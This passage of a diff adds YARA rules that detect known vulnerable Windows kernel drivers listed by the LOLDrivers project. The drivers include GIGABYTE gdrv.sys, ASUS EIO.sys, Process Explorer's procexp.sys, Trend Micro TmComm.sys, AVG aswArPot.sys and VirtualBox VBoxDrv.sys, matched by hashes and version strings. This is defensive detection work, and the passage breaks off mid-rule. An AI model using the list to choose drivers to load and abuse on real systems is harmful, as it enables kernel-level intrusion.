+
+rule PUA_VULN_Driver_Windowsrserverddkprovider_Gdrvsys_Windowsrserverddkdriver_31F4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
+		hash = "6f1fc8287dd8d724972d7a165683f2b2ad6837e16f09fe292714e8e38ecd1e38"
+		hash = "17927b93b2d6ab4271c158f039cae2d60591d6a14458f5a5690aec86f5d54229"
+		date = "2023-06-14"
+		score = 40
+		id = "e7728971-efb9-5c8b-8600-8f2b393d966e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 } /* FileDescription GIGABYTETools */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRServerDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00310038003300300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0031003800330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 } /* ProductName WindowsRServerDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gdrv_FF67 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ff6729518a380bf57f1bc6f1ec0aa7f3012e1618b8d9b0f31a61d299ee2b4339"
+		date = "2023-06-14"
+		score = 40
+		id = "b5062d65-a4bc-5d0e-9883-7c1fa54138e8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050004e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPNPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037003100320030003100300031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006700640072007600360034 } /* ProductName gdrv */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_CF69 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cf69704755ec2643dfd245ae1d4e15d77f306aeb1a576ffa159453de1a7345cb"
+		date = "2023-06-14"
+		score = 40
+		id = "609554bc-0f2f-5861-ad56-fc7a772459a6"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 } /* FileDescription ASUSVGAKernelModeDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTeKComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 } /* InternalName EIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 } /* ProductName ASUSVGAKernelModeDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 } /* OriginalFilename EIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000340020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* LegalCopyright CopyrightASUSTeKComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_4408 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c"
+		date = "2023-06-14"
+		score = 40
+		id = "d5bbf94d-394a-599e-93f3-6f9d79cca02f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_B583 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo10X64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b583414fcee280128788f7b39451c511376fe821f455d4f3702795e96d560704"
+		date = "2023-06-14"
+		score = 40
+		id = "eff26fc8-a458-5c15-8a0b-86773f8f6289"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 } /* FileDescription KillerTrafficControlCalloutDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e } /* CompanyName RivetNetworksLLC */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 } /* InternalName KfeCoDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c } /* ProductName KillerTrafficControl */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 } /* OriginalFilename KfeCoDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e } /* LegalCopyright CopyrightCRivetNetworksLLC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_ED2F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ed2f33452ec32830ffef2d5dc832985db9600c306ed890c47f3f33ccbb335c39"
+		date = "2023-06-14"
+		score = 40
+		id = "288ce092-a3f2-57d0-9d28-a0c4b6faa52f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000360033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 } /* ProductName TrendMicroAEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibxsys_Ntiolib_09BE {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "09bedbf7a41e0f8dabe4f41d331db58373ce15b2e9204540873a1884f38bdde1"
+		date = "2023-06-14"
+		score = 40
+		id = "30b7487c-d5b7-52b1-a209-f6eb01f0f406"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* InternalName NTIOLibXsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* OriginalFilename NTIOLibXsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e } /* LegalCopyright CopyrightCMicroStarINTLCOLTD */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_A802 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a8027daa6facf1ff81405daf6763249e9acf232a1a191b6bf106711630e6188e"
+		date = "2023-06-14"
+		score = 40
+		id = "9cb0be23-e1d9-5698-bde2-81a870f81f83"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100320031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 } /* ProductName AEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0F01 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0f016c80c4938fbcd47a47409969b3925f54292eba2ce01a8e45222ce8615eb8"
+		date = "2023-06-14"
+		score = 40
+		id = "0328757c-e561-567c-b7ad-7e6bcba19bb5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7539 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7539157df91923d4575f7f57c8eb8b0fd87f064c919c1db85e73eebb2910b60c"
+		date = "2023-06-14"
+		score = 40
+		id = "5ccaf486-04c4-5066-b307-e76b6e484d01"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* CompanyName SunMicrosystemsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 } /* FileVersion r */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 } /* ProductVersion r */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* InternalName VBoxDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 } /* ProductName SunVirtualBox */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* LegalCopyright CopyrightCSunMicrosystemsInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_478D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "478d855b648ef4501d3b08b3b10e94076ac67546b0ce86b454324f1bf9a78aa0"
+		date = "2023-06-14"
+		score = 40
+		id = "13ee4d76-b778-593e-85e6-8402d01352e8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Activeclean_A903 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a903f329b70f0078197cb7683aae1bb432eaf58572fe572f7cb4bc2080042d7e"
+		date = "2023-06-14"
+		score = 40
+		id = "3142d323-869f-5e25-b860-da2c34f659ce"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0030002e0031003000350032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006300740069007600650043006c00650061006e } /* ProductName ActiveClean */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_3FF3 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3ff39728f1c11d1108f65ec5eb3d722fd1a1279c530d79712e0d32b34880baaa"
+		hash = "86721ee8161096348ed3dbe1ccbf933ae004c315b1691745a8af4a0df9fed675"
+		date = "2023-06-14"
+		score = 40
+		id = "ce58b5cb-437a-56b2-8ccb-9399ce2ef6c3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00340030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00340030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BDBC {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "bdbceca41e576841cad2f2b38ee6dbf92fd77fbbfdfe6ecf99f0623d44ef182c"
+		date = "2023-06-14"
+		score = 40
+		id = "a101f69b-ca19-5aeb-a168-1a10dbd6ec12"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00300031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00300031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300037 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7837 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7837cb350338c4958968d06b105466da6518f5bb522a6e70e87c0cad85128408"
+		date = "2023-06-14"
+		score = 40
+		id = "47963173-d9a8-5a16-9959-d99e6e8920f3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000350036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0B2A {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0b2ad05939b0aabbdc011082fad7960baa0c459ec16a2b29f37c1fa31795a46d"
+		date = "2023-06-14"
+		score = 40
+		id = "9e448b85-4455-5a80-9147-e6c83b1427aa"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
